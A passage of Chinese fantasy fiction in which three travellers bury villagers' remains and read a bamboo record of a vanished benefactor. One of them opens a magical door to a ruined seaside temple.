她看了看一边挥汗如雨的张小霜,比起他来,姬闻雪的表情显然更加平和,连脸都没红多少。 他们手里用的两把锄头甚至都是姬闻雪用身上芥子袋里捎着的炼器材料现打出来的,他还教张小霜应该怎样削出一根笔直不刺手的锄头柄,看起来深谙此道,虽然此人嘴上声称:“只会一点。” 姬闻雪穿着衣裳的时候看着纤纤瘦瘦,巧笑倩兮,但他会打铁这一手属实让人意外,少年一身张扬红衣,那张极具迷惑性的脸蛋和他手臂上张弛有度的肌肉让人莫名想到了“活色生香”这个词。 “罪过。” 俞思州一边目不转睛地看,一边心想。 视线一转,她看见渴急了的张小霜抱着从刚刚的林子里摘出来的焰丹果小口小口啃。 俞思州看得失笑。 “傻子。”小双扒在她肩膀边,懒懒道,“他怎么能和我叫一个名字。” “说明你俩挺有缘。”俞思州乐呵呵道。 “哼。”小双冷哼,嘀咕道,“要走就快点动身吧,没必要还在这做这些事。” 俞思州笑了笑:“也不能把这些尸体就这样扔在这。” 她拿起那卷竹简,刀笔刻下的笔迹有些已经模糊,上面记载了,十几年前在阴灵来袭的时候,有一个人挺身而出,引走了村庄里全部的阴灵。 此去经年,恩人不知去向,婆罗州民遂于海崖边立碑筑庙,世代祈求恩人平安——竹简上如此记录。 婆罗州另一边靠着海,海底有着磅礴的阴灵气,因此,这边时不时便会被自然而生的阴灵侵扰,这一些村民的遗骨,或许就是死于某一次不幸。 全部收拾完毕之后,姬闻雪拍了拍衣摆,向俞思州伸出手:“把手给我吧。” “怎么了?”俞思州抄起地上的猫,然后把手放到他手腕上,问道。 姬闻雪的眼神轻轻扫过她的手,笑道:“我之前不是说,我会一点点缩地的小把戏吗?” “那现在是用你那个小把戏的时间。”俞思州猜道,“你知道那个庙在哪了?” “知道大概方位,婆罗州靠海的地方不多,能称得上海崖的地方也是屈指可数。”姬闻雪笑,单手在虚空中一推,仿佛推开了一扇门。 在“门”洞开的瞬间,俞思州感受到海风扑面而来,一座破落的庙宇,阴沉沉地矗立在道路的终点。 它的大门敞开着,似乎在欢迎来客。